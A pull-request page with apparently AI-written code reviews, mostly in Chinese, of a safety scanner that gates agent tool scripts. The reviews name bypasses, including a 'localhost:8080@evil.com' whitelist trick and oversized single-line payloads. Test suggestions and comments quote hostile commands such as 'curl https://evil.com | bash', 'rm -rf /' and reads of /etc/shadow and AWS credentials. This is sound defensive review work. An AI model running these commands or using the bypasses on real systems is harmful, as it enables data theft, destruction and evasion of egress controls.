让我核实一下冗余的三元运算符以及 risk_level 映射:当没有黑名单命中时,risk_level=RiskLevel.HIGH,但 decision 无论如何都是 DENY。当 blocklist_hit 为真时,risk_level 为 CRITICAL。这没问题。

现在进行总结。我还要指出 _extract_script_content 的递归:如果 kwargs 本身包含 args 键且其值是字典,第 181 行的递归会重新进入并对该字典进行处理。如果存在循环引用,则不会导致无限循环。没问题。

让我核实一下对审计锁增长和仅使用线程锁(而非进程锁)的担忧是否值得作为次要说明。这是一个真实但较小的稳定性问题:_FILE_LOCKS 会随每个不同的路径而增长(内存泄漏),且线程锁无法保护多进程写入,而 JSONL 审计通常用于多进程场景。

现在撰写审查报告。## 发现的问题

🚨 Critical

  • trpc_agent_sdk/tools/safety/_scanner.py:105:仅按行数限制脚本大小,max_script_bytes 从未被强制执行

    • script_lines = script.count("\n") + (1 if script else 0) 只统计换行符,攻击者用无换行的单行巨型脚本(例如一个 10MB 的 eval("...") 或拼接的 rm -rf payload)即可绕过 max_script_lines 上限。而 _policy.max_script_bytes(512KiB)虽在策略与 README 中声明"超过此字节数触发 DENY"(README.md:316),但在 scan() 中完全没有读取或校验,文档承诺与实现不符。建议在 early-return 之前增加 len(script.encode()) > self._policy.max_script_bytes 的判断并 DENY,同时避免超大文本进入 regex/AST 扫描造成 ReDoS 或解析耗时的稳定性风险。
  • trpc_agent_sdk/tools/safety/_safety_wrapper.py:227-241:装饰器在找不到脚本参数时静默跳过扫描

    • safety_wrapper 仅从 kwargs[script_arg_name] 或位置参数中的 dict 取脚本;若被装饰函数的参数结构不匹配(例如脚本在 args["input"]、嵌套对象或非 dict 实参中),if script and isinstance(script, str) 为假,扫描被完全跳过且无任何告警,被保护函数照样执行。这会让调用方误以为已加防护实则裸奔。建议在 script is None 时至少 logger.warning 或抛错,并允许通过回调/自定义提取器指定脚本位置。

⚠️ Warning

  • trpc_agent_sdk/tools/safety/_scanner.py:748-774_check_blocklist_override 对 Bash 脚本误用 Python 字符串剥离逻辑

    • 该方法对每行无条件调用 _strip_python_comment_line(line)_scanner.py:767),会把单/双引号内的内容替换为空格。对 Bash 行 cat '/etc/shadow' 处理后变成 cat ' ',黑名单 pattern /etc/shadow 不再匹配,导致 blocklist override 失效。好在 Bash shlex 扫描器(_bash_scanner._check_redirects/敏感路径检测)通常能兜住,但该层一旦独立依赖(如自定义 blocklist pattern 未被其他层覆盖)就会漏检。建议按 script_type 选择剥离策略,Bash 不应使用 Python 字符串剥离。
  • trpc_agent_sdk/tools/safety/_safety_wrapper.py:228,240:装饰器路径未透传 command_args 等扫描输入

    • wrapper_inst.check(script) 只传 script_content,未传 command_args/environment_variables 等。而 filter 路径(_safety_filter)和 test_command_args_are_scanned 都证明 command_args 中的危险模式(如 --extra "rm -rf /")必须被扫描。通过装饰器包装的工具若把危险内容放在命令行参数里,将不被检测。建议在装饰器中支持透传这些字段或提供提取回调。
  • trpc_agent_sdk/tools/safety/_audit.py:37-46,87-95:审计写入锁仅线程级且 _FILE_LOCKS 无界增长

    • _FILE_LOCKS 是模块级 dict,每个新 output_path 都会新增一个 threading.Lock 且永不清理(长期运行下内存泄漏);同时 threading.Lock 无法保护多进程并发写同一 JSONL 文件(审计场景常见多进程),仍可能出现行交错。建议对锁表做 LRU/上限,并在文档中明确多进程场景需由调用方保证单写者或使用文件锁。
  • trpc_agent_sdk/tools/safety/_bash_scanner.py:342-346:rm 标志位用子串匹配产生误判

    • has_r/has_f"r" in t.replace("-","").lower() 判断,任何含 r/f 字母的短选项都会被误判(如 -i→"interactive"含f被当作-f-v/-preserver被当作-r),导致普通 rm -i file 被升级为 rm -rf CRITICAL。属误报(偏安全侧),但会污染审计与决策。建议改为按字符精确解析 flag 集合(set(t.lstrip("-")))。

💡 Suggestion

  • trpc_agent_sdk/tools/safety/_scanner.py:155decision=Decision.DENY if blocklist_hit else Decision.DENY 两个分支相同,是死代码三元表达式;按 b7f0d3c 的修复意图(oversized 一律 DENY),可直接写 decision=Decision.DENY,保留 risk_level 的区分即可,避免误导后续维护者以为存在非 DENY 分支。

  • trpc_agent_sdk/tools/safety/_scanner.py:826-827:evidence 截断时 f.evidence[:300] 切到 300,但提示 <truncated:{len-320}> 计算的是相对 320 的差值,与实际截断长度不一致;统一为 len - 300 即可。

总结

整体三层扫描架构(AST + shlex + regex)与策略驱动决策设计合理,核心危险场景测试覆盖较全;存在 1 个明确的字节限制未强制执行的安全绕过(Critical)和 1 个装饰器静默跳过扫描的防护失效(Critical),以及若干 Bash 处理与审计稳定性问题,建议在合入前修复两个 Critical 项。

测试建议

  • 补充"单行超大字节脚本"用例:构造一个不含换行、字节数超过 max_script_bytes 且内嵌 rm -rf /eval(...) 的输入,断言被 DENY 且触发字节超限 finding。
  • 补充装饰器参数不匹配用例:被 @safety_wrapper(script_arg_name="code") 装饰的函数通过非 code 字段传入危险脚本时,断言不会静默放行(至少有 warning 或抛错)。

if args_text.strip():
script = script + "\n" + args_text

script_lines = script.count("\n") + (1 if script else 0)

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

字节大小限制 max_script_bytes 从未强制执行

scan() 仅按 script.count("\n") 统计行数,攻击者可用无换行的单行巨型脚本绕过 max_script_lines;而 max_script_bytes 在代码中完全未校验,与 README 声明不符。建议在 early-return 前对 len(script.encode()) > max_script_bytes 判断并 DENY,同时避免超大文本进入 regex/AST 扫描。

if isinstance(arg, dict) and script_arg_name in arg:
script = arg[script_arg_name]
break
if script and isinstance(script, str):

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

装饰器找不到脚本参数时静默跳过扫描

当被装饰函数参数结构不匹配(脚本在嵌套对象或非 dict 实参中)时,if script and isinstance(script, str) 为假,扫描被完全跳过且无任何告警,被保护函数照常执行。建议在 script 为空时至少 logger.warning 或抛错,并支持自定义脚本提取回调。

lll-peanut and others added 2 commits July 19, 2026 23:37
1. ENV-001 evidence leak: evidence field now stores ***REDACTED*** instead
   of the raw environment variable value (fixes secrets leaking into
   JSON reports, CLI output, and SafetyWrapper.last_report).

2. ENV-001 deduplication collapse: _deduplicate_findings now includes
   matched_pattern in the dedup key for line_number==0 findings, so
   multiple blocklisted env vars each produce independent findings
   instead of being collapsed into one.

3. _audit.py docstring: corrected misleading 'thread/process-safe' claim
   to 'thread-safe' — threading.Lock is not cross-process.

4. _python_scanner._handle_for: range() loop detection now handles
   2-arg range(start, stop) and 3-arg range(start, stop, step) forms
   in addition to the original 1-arg range(stop).

5. _bash_scanner._check_redirects: strip surrounding quotes from
   redirect targets to reduce false positives from bash test expression
   comparisons (e.g. [[ "a" > "/etc/passwd" ]]).

6. New tests: env value leak, env dedup collapse, allow_patterns vs
   blocklist conflict (both pattern and env-based).

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
…sing, tee dead branch

  1. Enforce max_script_bytes: single-line giant payloads with no newlines
     are now caught by a byte-size check alongside the existing line-count
     check. Both trigger DENY with a blocklist pre-scan.

  2. Decorator silent skip: @safety_wrapper now logs a warning when the
     script_arg_name is not found in kwargs / positional dict args, so
     callers can detect missing protection.

  3. _check_blocklist_override now receives script_type — Python
     string-literal stripping is skipped for Bash to avoid false negatives
     on cat '/etc/shadow' etc.

  4. rm flag detection: parse short flags character-by-character instead of
     substring matching (rm -i no longer falsely triggers rm -rf).

  5. tee dead branch: tee writes to sensitive paths (tee /etc/shadow,
     tee ~/.aws/credentials) are now detected.

  6. Evidence truncation: <truncated:N> now reports len-300 consistently.

  7. Redundant ternary: Decision.DENY if x else Decision.DENY → Decision.DENY.
@CongkeChen

Copy link
Copy Markdown
Contributor

AI Code Review

我已经获取了所需的所有信息。以下是我的评审结果。

发现的问题

🚨 Critical

  • trpc_agent_sdk/tools/safety/_safety_wrapper.py:235trpc_agent_sdk/tools/safety/_safety_wrapper.py:258:装饰器路径只扫描单个 script 文本,未透传 command_args / environment_variables / working_directory
    • async_wrapper/sync_wrapper 均调用 wrapper_inst.check(script),而 SafetyWrapper.check 本身支持这些参数。结果:被装饰工具通过 args/kwargs 传入的命令行参数完全不被扫描(SafetyScanner.scan 会把 command_args 拼接进扫描文本,这一能力在装饰器路径被绕过),ENV-001 黑名单环境变量检测也永不触发。建议从 args/kwargs 中提取并显式传给 check

⚠️ Warning

  • trpc_agent_sdk/tools/safety/_safety_filter.py:116ToolSafetyFilter._before 构造 SafetyScanInput 时同样未传入 environment_variables / command_args

    • 与上一问题同源:通过 Filter 集成时,ENV-001(已设置的黑名单环境变量)和参数扫描同样失效。虽然脚本中引用敏感 env var 仍可由 LEAK-004 兜底,但“实际传入的敏感变量”这一检查在该路径为死代码。建议从 req 中抽取 env/args 并传入。
  • trpc_agent_sdk/tools/safety/_scanner.py:826-840_check_blocklist_override 在每个 pattern 的每行循环内重复 re.compile,且 oversized 预检 _scanner.py:127 与 allow 检查同样在循环内反复 re.search/re.compile

    • 对大脚本(接近 max_script_lines=500)×多条 blocklist pattern 会产生 O(lines×patterns) 的重复编译开销,存在明显的扫描延迟甚至被用于放大耗时。建议在策略加载时预编译 pattern 并缓存复用。
  • trpc_agent_sdk/tools/safety/_audit.py:52-58trpc_agent_sdk/tools/safety/_audit.py:118-127:per-path 锁按字符串原样缓存,且 read_events 未持锁

    • _get_file_lockstr(output_path) 为 key,相对/绝对/带冗余点的同一文件会拿到不同锁,跨实例并发写仍可能交错;read_events 读取时不持锁,读到半行 JSON 后被 json.JSONDecodeError 静默丢弃,会丢失审计事件。建议对路径做 os.path.realpath 归一化,并在读取时加同一把锁。
  • trpc_agent_sdk/tools/safety/_scanner.py:712-731_detect_type 在自动检测时会把合法 Python 误判为 PYTHON,从而跳过 Bash 专用规则

    • script_type=UNKNOWN 时,若脚本恰好能 ast.parse 成功且含 import/def/class,会直接判定为 PYTHON;此后 scan() 只跑 Python AST + PYTHON 分支的 regex 规则,bash_commands/bash_patterns(如 sudo/chmod/|/依赖安装)整段不执行。建议对 UNKNOWN 类型同时保留 Bash 规则层,或在判定 PYTHON 前要求更高的置信度。

💡 Suggestion

  • trpc_agent_sdk/tools/safety/_python_scanner.py:632-640:特权调用同时命中 _PROCESS_CALLS_PRIVILEGE_CALLS 两个分支,会生成两条 AST-PROC-001/risk=privilege finding,虽被 _deduplicate_findings 合并,但属冗余工作,可在第一分支命中 privilege 后跳过第二分支。

总结

整体实现完整、分层清晰,核心扫描逻辑(AST/shlex/regex 三层)覆盖面较全。存在一个 Critical:装饰器集成路径漏扫命令行参数与环境变量,导致部分安全检查在该路径失效;其余为性能、并发与误判相关的 Warning,建议修复但不阻塞合并。

测试建议

  • 补充用例:被 @safety_wrapper 装饰的函数通过 args/kwargs 传入危险命令行参数(如 command_args)与黑名单环境变量,断言仍被 DENY。
  • 补充用例:一个同时能被 ast.parse 解析、但含 sudo/chmod 等 Bash 模式的脚本,在 script_type=UNKNOWN 下断言 Bash 规则仍触发。

script = arg[script_arg_name]
break
if script and isinstance(script, str):
wrapper_inst.check(script)

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

装饰器路径漏扫 command_args/env/working_directory

装饰器路径只调用 wrapper_inst.check(script),未透传 command_args / environment_variables / working_directory。导致经装饰器工具传入的命令行参数不被扫描、ENV-001 黑名单环境变量检测永不触发。建议从 args/kwargs 中提取并显式传给 check

script = arg[script_arg_name]
break
if script and isinstance(script, str):
wrapper_inst.check(script)

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

装饰器路径漏扫 command_args/env/working_directory

sync_wrapper 同样调用 wrapper_inst.check(script),未透传 command_args / environment_variables / working_directory。建议从 args/kwargs 中提取并显式传给 check

  - _safety_wrapper: decorator now passes command_args/environment_variables/
    working_directory to SafetyWrapper.check (was dead code path)
  - _safety_filter: _before now extracts command_args/env_vars/work_dir from req
  - _scanner: fix W504 line break after binary operator
@CongkeChen

Copy link
Copy Markdown
Contributor

AI Code Review

我无法执行。让我从正则表达式进行静态推理:https?://([^\s/\"':]+) 会匹配直到遇到空白符、/"': 之前的字符。对于 http://localhost:8080@evil.com/,捕获组会在第一个 : 处停止 → localhost。所以域名提取为 localhost,将其列入白名单 → 导致降级为 INFO → 最终 ALLOW。但实际的请求目标是 evil.com(用户信息 localhost:8080@ 在 curl 中是用户信息语法,会将请求发往 evil.com)。这是一个真实的白名单绕过漏洞,对于任何包含端口的白名单域名都适用。让我确认一下这仅适用于从 curl 证据中提取 URL 的情况。这是 diff 中确实存在的安全发现。

让我再验证一下 to_seconds 的 RE DoS / 负数问题——不重要。让我再检查一下 is_domain_whitelisted 的通配符是否使用了 fnmatch,且 *.trpc.tencent.com 可以匹配 evil.trpc.tencent.com,但不能匹配 x.evil.trpc.tencent.com(因为 fnmatch 的 * 会匹配包括点在内的任意字符)。实际上 * 在 fnmatch 中会匹配点,所以 *.trpc.tencent.com 也能匹配 a.b.trpc.tencent.com。没问题。

现在让我检查一下 _check_secret_refs 的正则表达式,看看另一个关于命令注入的顾虑。正则表达式为 \b(echo|printf)\b.*\$(?:{)?\w*(?:KEY|TOKEN|...)。没问题。

让我验证一下 _get_file_lock 的缓存无边界增长问题,以及审计日志在每次写入时都执行打开/关闭操作(没有持久化文件句柄)——这是一个性能问题,但为了线程安全是可以接受的。

让我检查一个更重要的正确性问题:在 SafetyScanner.scan 中,scan_input.script_type 在原处发生了修改(第 96 行:scan_input.script_type = self._detect_type(...))。这会修改调用者传入的输入对象。如果调用者复用该输入,会产生副作用。属于小问题/警告级别。

让我检查 _handle_call 的 file_write:对于 open(path, "w")canonical"open"。第 425 行的条件:canonical in _FILE_WRITE_CALLS(其中不包含 "open")或 (canonical in ("open",...) and self._is_write_mode(node))。所以 open("x","r") → 不会触发写入。没问题。但是 open(path) 默认是读取模式 → 会触发 file_read。没问题。

现在有一个真正的顾虑:_is_write_mode 会检查任何字符是否在 "wa+" 中。模式 "r+b"(更新现有二进制文件,可读可写)包含 "+" → 会触发写入风险。这是可以接受的。

让我检查 _redact_evidence 的截断:f.evidence[:300] + f"...<truncated:{len(f.evidence)-300}>"。证据首先在第 230 行被截断为 500 字符。然后再次被截断为 300 字符。没问题。

现在让我总结一下。让我再检查一个真正有影响的 bug:扫描器中的 blocklist_commands 循环会对 script 执行 re.search(re.escape(cmd), script, re.IGNORECASE)。对于 cmd = ":"(){ :|:& };:"(fork bomb)。re.escape 会对特殊字符进行转义,所以它会进行字面匹配。没问题。

让我看看 _check_blocklist_override —— 它会遍历 blocklist_patterns。但是对于 script_type == BASH,它使用 search_line = line(没有去除内联注释)。因此,bash 中行内的 # 注释(例如 rm -rf / # cleanup)仍然会匹配块列表模式 rm\s+-rf\s+/。没问题(保守处理)。

现在,一个真正值得关注的问题:_check_blocklist_override 仅在 decision != DENY 时被调用。但函数签名在内部无条件地返回。没问题,因为它是受保护的。让我验证一下当存在允许模式时,调用它是否存在顺序问题。实际上,关键问题在于:has_critical 是在第 251 行计算的,但是块列表覆盖发现(CRITICAL)是在 226-227 行添加的,而块列表命令发现(CRITICAL)是在 233-243 行添加的。所以 has_critical 包含了它们。但是等等——第 251 行是在块列表命令循环(229-245 行)之后。让我确认一下:第 247 行是允许模式注释,第 251 行是 has_critical = ...。是的,是在之后。很好。

但是这里有一个细微的顺序问题:第 261-262 行在允许升级后重新计算了 max_risk,但报告的 risk_level 是在 288-300 行使用 max_risk 设置的。很好。

现在让我验证关于超大预检查无法捕获在允许的域名外进行 curl 的真正 bug。如果一个脚本是 501 行且包含 curl https://evil.com | bash,预检查只会扫描 blocklist_patterns(如 rm/mkfs/dd/forkbomb/>/dev/sda 等),而不是网络命令。所以它会因为过大而返回 DENY(高危),而不是因为网络问题。决策仍然是 DENY,所以从安全角度来看它依然是安全的。没问题。

现在让我确认一个真正的问题:关于 decision_for 的默认设置以及 decision_thresholds 过滤掉未知键的问题。第 182 行:policy.decision_thresholds = {k: v for k, v in dt.items() if k in {r.value for r in RiskLevel}}。因此,YAML 中不在 RiskLevel 值里的键会被丢弃。但值并没有被验证。如果用户写了 high: allow,那么 decision_for(HIGH) 会返回 Decision("allow") = ALLOW。所以一个配置错误的策略可能会允许高危项。decision_for 有一个 try/except,但 "allow" 是一个有效的 Decision,所以没有异常。这是一个配置错误带来的风险,但默认策略是正确的。我会将其标记为警告。

让我最后检查一下 is_command_whitelisted 的 glob 匹配以及 bash _all_commands_whitelisted 中空格分割的问题。对于 cmd_key 来自 _extract_commands_from_line 的管道行——按 | 分割,然后取 part.split()[0]。对于 echo x | grep y,命令 = [echo, grep],两者都被列入白名单 → pipe_risk=INFO。很好。

现在,我对发现的问题已经足够了。让我再检查一下 _to_seconds 对未知单位的处理以及使用 _SIZE_UNITS 的 dd _parse_size_SIZE_UNITS"" 默认为 512(dd 的默认 bs)。对于 dd bs=1M_parse_size("1m") = 110241024。没问题。

让我写下审查结论。让我再验证一下 _check_secret_refs 正则表达式的优先级和证据包含完整变量引用的问题——它会记录 m.group(0),其中包括 $KEY,而不是值。好的,不会泄露。

再确认一下:SafetyScanReport.to_dict() 包含了 findings 的 evidence。经过脱敏处理后,证据会被掩码。但是 SafetyFinding 上的 extra 字段没有包含在 to_dict() 中——很好,它不会泄露。但用于审计的 _build_event 只使用了 rule_ids,没有证据。很好。

现在,关于 _get_file_lock 字典无限制增长的实际问题——每个唯一的审计路径都会获得一个永久锁。这只是在每个 AuditLogger 实例化时发生,路径数量有限。属于小问题。

现在让我最终确定发现的问题。让我再通过检查 _extract_url 的正则表达式字符类来精确验证用户信息绕过的问题:([^\s/\"':]+): 不在允许的集合中,所以它会停在 : 处。对于 http://localhost:8080@evil.com/:在 :// 之后,它匹配 localhost,然后在 : 处停止。提取出的域名 = localhost。白名单匹配 → ALLOW。实际的 curl 目标是 evil.com。确认存在绕过。

让我检查一下 bash 扫描器是否有独立检查。bash 扫描器的 _scan_bash_tokens 也会调用 _extract_url(f.evidence) 来进行白名单降级。同样是这种绕过。而且 regex NetworkEgressRule 的 bash 分支也使用 _extract_url。所以这种绕过在所有层面都存在。

对于没有端口的情况,例如 http://localhost@evil.com/ —— 提取出的域名将匹配 [^\s/\"':]+ = localhost@evil.com(直到 /)。这不会匹配白名单 localhost(fnmatch 是精确匹配)。所以该变体无法绕过。绕过需要白名单域名上的端口。由于 localhost127.0.0.1 在白名单中,而 127.0.0.1 不需要端口,所以只有 localhost:<port> 会触发它。但 127.0.0.1@evil.com(无端口) → 提取出的域名 = 127.0.0.1@evil.com → 不匹配 127.0.0.1。所以 127.0.0.1 的绕过不适用。localhost:8080@evil.com → 提取出的域名=localhost → 匹配白名单 → ALLOW,同时请求发往 evil.com。已确认:可以通过 localhost:@evil.com 进行绕过。

现在让我完成审查。

发现的问题

🚨 Critical

  • trpc_agent_sdk/tools/safety/_scanner.py:978-989trpc_agent_sdk/tools/safety/_rules.py:925-940:URL 域名提取导致白名单绕过
    • _extract_url 使用 https?://([^\s/\"':]+) 提取域名,遇到 : 即停止。对于 http://localhost:8080@evil.com/x,提取出的域名为 localhost(停在 : 处),命中白名单而被降级为 INFO/ALLOW,但 curl 实际请求的是 evil.comuser:pass@host 形式中 @ 后为真实目标)。由于默认白名单包含 localhost/127.0.0.1,攻击者可用 localhost:<port>@evil.com 形式将流量导向任意域名从而绕过网络出口管控。该提取逻辑在 AST、shlex、regex 三层共用,影响面一致。建议先剥离 user:pass@ 前缀再取 host,并显式校验端口/用户信息段。

⚠️ Warning

  • trpc_agent_sdk/tools/safety/_scanner.py:95-96:扫描会修改调用方传入的 SafetyScanInput

    • scan_input.script_type = self._detect_type(...) 直接改写传入对象的状态。若调用方复用同一 SafetyScanInput(如批量扫描、缓存输入),后续调用的 UNKNOWN 自动检测会被跳过,可能影响预期行为。建议改为局部变量或在自动检测时不修改原对象。
  • trpc_agent_sdk/tools/safety/_policy.py:180-18290-98:决策阈值缺少取值校验

    • _build 仅过滤掉不属于合法 RiskLevel 的 key,但不对 value 做校验;decision_forDecision(decision_str) 仅在非法枚举值时回退到 NEEDS_HUMAN_REVIEW,而像 high: allow 这种合法枚举值会被原样接受,导致高危风险被静默放行。建议对 decision_thresholds 的 value 做白名单校验并拒绝非法组合。
  • trpc_agent_sdk/tools/safety/_bash_scanner.py:615-635trpc_agent_sdk/tools/safety/_rules.py:710-727:长 sleep 检测口径不一致

    • _check_long_sleeps 解析 ([smhd]?) 单位(sleep 5m=300s 会触发),而 ResourceAbuseRule 5d 的 sleep\s+(\d+) 不解析单位,sleep 5m 只取到 5 而不触发。同一脚本在不同规则层产生不一致判定,且 sleep 999999999d 等极长单位值只被 bash 扫描器覆盖。建议统一单位解析逻辑,或合并为单一来源。
  • trpc_agent_sdk/tools/safety/_audit.py:41-46107-127:审计日志无文件锁清理且无进程间互斥

    • _FILE_LOCKS 字典按路径缓存 threading.Lock 且永不清理,长期运行多路径场景下会持续增长;注释已说明该锁非进程安全。多进程部署下并发 append 仍可能交错写坏 JSONL 行,read_events 会静默跳过损坏行而无法发现。建议限制缓存大小,并文档化多进程场景需外接审计守护进程或 fcntl 锁。

💡 Suggestion

  • trpc_agent_sdk/tools/safety/_python_scanner.py:197-200,279,568,610,706_DEPENDENCY_CALLS_class_instances 为死代码
    • _DEPENDENCY_CALLS 定义后从未被读取;_class_instances 只被写入(赋值三处)但从未查询。删除以减少维护负担,或在 _handle_call 中实际用于解析 requests.Session().get() 之类实例方法调用以提升检测能力。

总结

整体实现完整、分层清晰,但存在一个必须修复的白名单绕过问题(Critical):通过 localhost:<port>@evil.com 形式可让任意域名被识别为白名单域名而放行网络出口。其余为输入副作用、策略校验缺失、检测口径不一致等建议修复项。建议优先修复 URL 提取逻辑。

测试建议

  • 补充用例 curl http://localhost:8080@evil.com/x,断言其 decision == DENY 且证据指向非白名单域名。
  • 补充策略校验用例:当 decision_thresholds 配置 high: allow 时,应被拒绝或回退而非静默放行。

return list(seen.values())


def _extract_url(text: str) -> Optional[str]:

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

URL 域名提取导致白名单绕过

_extract_url 使用 https?://([^\s/\"':]+) 提取域名,遇 : 即停止。对 http://localhost:8080@evil.com/x 提取出 localhost 命中白名单被降级为 INFO/ALLOW,但 curl 实际请求 evil.com。该逻辑在 AST、shlex、regex 三层共用(亦见 _rules.py:925-940),可用 localhost:<port>@evil.com 绕过网络出口管控。建议先剥离 user:pass@ 前缀再取 host,并显式校验端口/用户信息段。

  - _extract_url: include :port and @userinfo in authority capture, then
    strip both to get bare hostname. Fixes localhost:8080@evil.com bypass.
  - scan(): use local effective_script_type instead of mutating scan_input.
  - Same fixes applied to duplicate _extract_url in _rules.py.
@CongkeChen

Copy link
Copy Markdown
Contributor

AI Code Review

我已经有了足够的上下文。让我来撰写最终的审查报告。

发现的问题

🚨 Critical

  • trpc_agent_sdk/tools/safety/_bash_scanner.py:440-457:重定向检测将 >/dev/null2>/dev/null 误判为 CRITICAL,导致正常脚本被 DENY
    • _check_redirects>/>> 后的目标用 target.startswith("/dev/") 判定敏感,/dev/null 命中该条件,生成 BASH-FILE-003 CRITICAL finding,最终决策被强制 DENY。2>/dev/null 是最常见的丢弃输出写法,这会让几乎所有含该写法的合法 Bash 脚本被阻塞。建议把 /dev/null(以及 /dev/zero 用于读取的场景)从重定向敏感判定中排除,仅对块设备 /dev/sd*//dev/[sv]d*//dev/mmc* 等保留 CRITICAL。
    • grep foo /etc/hosts 2>/dev/null   # → BASH-FILE-003 CRITICAL → DENY(误报)

⚠️ Warning

  • trpc_agent_sdk/tools/safety/_python_scanner.py:975-982:Python AST 路径的域名提取未修复 userinfo@host 绕过

    • 最近提交(9a11238)声称修复了 localhost:8080@evil.com 白名单绕过,但仅修了 _scanner.py/_rules.py 中的 _extract_url。Python AST 层用的 _extract_domain_from_url 正则为 https?://([^\s/\"':]+),字符类排除 : 却不排除 @,遇到 https://localhost:8080@evil.com/x 时在 : 处截断得到 localhost,从而 is_domain_whitelisted 命中白名单、AST 分支降级为 INFO。默认配置下 NetworkEgressRule 正则层会另行命中 HIGH 兜底,整体仍 DENY;但一旦该规则被禁用或 python_functions 未覆盖到具体调用形式,AST 层会放过该请求。建议同步对 _extract_domain_from_url 做 userinfo/port 剥离,与 _extract_url 保持一致。
    • m = re.search(r"https?://([^\s/\"':]+)", url)  # localhost:8080@evil.com → "localhost"
  • trpc_agent_sdk/tools/safety/_scanner.py:115-122oversized 判定存在冗余/可读性隐患且 bytes 分支未设 oversized=True 之外的问题已被覆盖,但 oversized 变量在 lines 分支重复赋值

    • 第 115 行 oversized = script_lines > max_script_lines,紧接着第 117 行又用 if script_lines > max_script_lines 重新判断并设 oversized_reason,两处条件重复;虽不影响结果,但易在后续维护时改错一处而引入绕过。建议合并为单次判断。

💡 Suggestion

  • trpc_agent_sdk/tools/safety/_audit.py:37-46_FILE_LOCKS 字典按路径缓存锁且无清理,若 audit_log_path 在不同调用间变化会无界增长。生产中路径通常固定,影响有限;如需稳健可在路径数量超阈值时回收未持有的锁。

总结

整体设计为 fail-closed 的执行前门禁,安全方向正确;存在 1 个 Critical 级误报(2>/dev/null 被判 CRITICAL 导致合法脚本被拒)和 1 个 Warning 级残留绕过(Python AST 域名提取未同步 userinfo 修复,默认被正则层兜底)。Critical 问题会导致该过滤器在实际 Bash 脚本场景中大面积误杀,建议合入前修复。

测试建议

  • 补充用例:grep foo /etc/hosts 2>/dev/nullls /tmp >/dev/null 等含 /dev/null 重定向的脚本应判定为 ALLOW(或至少非 CRITICAL),验证 _check_redirects 不再误报。
  • 补充用例:requests.get("https://localhost:8080@evil.com/x") 在禁用 NetworkEgressRulenetwork_egress.enabled=false)时仍应 DENY,覆盖 Python AST 层 userinfo 绕过场景。

},
))

def _check_redirects(self, line_no: int, raw_line: str, tokens: List[str]) -> None:

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

重定向检测将 2>/dev/null 误判为 CRITICAL 导致合法脚本被 DENY

_check_redirects 对 >/>> 后目标用 target.startswith("/dev/") 判定敏感,/dev/null 命中条件生成 BASH-FILE-003 CRITICAL 并强制 DENY。建议将 /dev/null、/dev/zero 等从重定向敏感判定中排除,仅对块设备 /dev/sd*、/dev/[sv]d*、/dev/mmc* 保留 CRITICAL。

  - _bash_scanner: exclude /dev/null/zero/random/urandom/std*/tty from
    redirect CRITICAL detection (2>/dev/null is harmless).
  - _python_scanner: _extract_domain_from_url now strips userinfo:port
    same as _extract_url (fixes localhost:8080@evil.com AST bypass).
  - YAPF formatting applied across all changed Python files in the PR
  - Remaining flake8 E501/W391/E126/E127/E302/E999 issues resolved
  - All safety module tests passing (126/126)
@CongkeChen

Copy link
Copy Markdown
Contributor

AI Code Review

已确认:read_events 会将整个 JSONL 文件加载到内存中。对于增长的审计日志,这是一个真实存在的内存/稳定性隐患(警告级别)。

现在让我对 AuditLogger.log_event 进行最后一次检查——它会在每次调用时打开、写入、刷新并关闭文件。在每路径锁(per-path lock)下是线程安全的。但注释中提到“threading.Lock 不是进程安全的”——多进程部署会导致交错写入。这是一个已记录的局限性,对于多进程来说算不上 Bug。

我现在有足够的信息来撰写审查意见了。让我再验证一下 _extract_url_scanner.py_rules.py 中是否存在重复——确实存在(这两个模块各自定义了 _extract_url_strip_python_comment_line)。这是一个可维护性方面的建议。

让我写出最终的审查意见。

发现的问题

⚠️ Warning

  • trpc_agent_sdk/tools/safety/_scanner.py:230-246:blocklist_commands 对整脚本做字面子串匹配,未剥离注释/字符串

    • re.search(re.escape(cmd), script, ...) 直接作用于拼接后的 script(含 command_args),既不剥离注释也不区分字符串。注释里写 # 别执行 rm -rf /、或工具参数里出现 rm -rf / 字面量(如 grep "rm -rf /" README)都会被强制 DENY,造成误杀。建议复用 _check_blocklist_override 已有的逐行 + _strip_python_comment_line/_is_in_echo_string 逻辑,或至少排除注释行,避免合法脚本被阻断。
  • trpc_agent_sdk/tools/safety/_audit.py:118-127read_events 全量加载 JSONL 文件

    • 逐行 json.loads 后用 events[-limit:][::-1] 取最近 N 条,但全程把整个文件读入内存列表。审计日志随时间增长后,一次读取即可耗尽内存。建议改为从文件尾部反向读取(如 seek + 倒序解析)或设最大读取字节数,限制内存占用。
  • trpc_agent_sdk/tools/safety/_rules.py:717-733ResourceAbuseRule 的 sleep 正则未解析单位,与 bash 扫描器结果不一致

    • sleep_pattern = r"sleep\s+(\d+)" 不捕获 m/h/d 单位,sleep 5m(300s)会被解析为 duration=5 而漏报。虽然 _bash_scanner._check_long_sleeps 会补一条 BASH-RES-002,但纯规则路径(如脚本类型未知且 bash 扫描器异常时回退)下会出现漏报。建议与 _bash_scanner 一致地解析 ([smhd]?) 单位。
  • trpc_agent_sdk/tools/safety/_safety_filter.py:153setattr(rsp, "safety_report", report) 写入非框架字段

    • FilterResult 是 dataclass,动态注入属性虽能运行但框架不感知该字段,下游若按 FilterResult 序列化/解包(__iter__ 只返回 rsp, error)会丢失 safety_report,且 block_on_review=False 时调用方无法可靠拿到报告做人工审核门禁。建议在 rsp.rsp 中承载报告,或提供官方的取值方式。

💡 Suggestion

  • trpc_agent_sdk/tools/safety/_scanner.pytrpc_agent_sdk/tools/safety/_rules.py_extract_url_strip_python_comment_line_is_in_echo_string 在两个模块中各自重复定义。建议提取到公共 helper 模块,避免两份实现漂移(已可见差异:_scanner._extract_url_rules._extract_url 行为需保持一致,否则同一段脚本在两层判定中白名单结论可能不一致)。

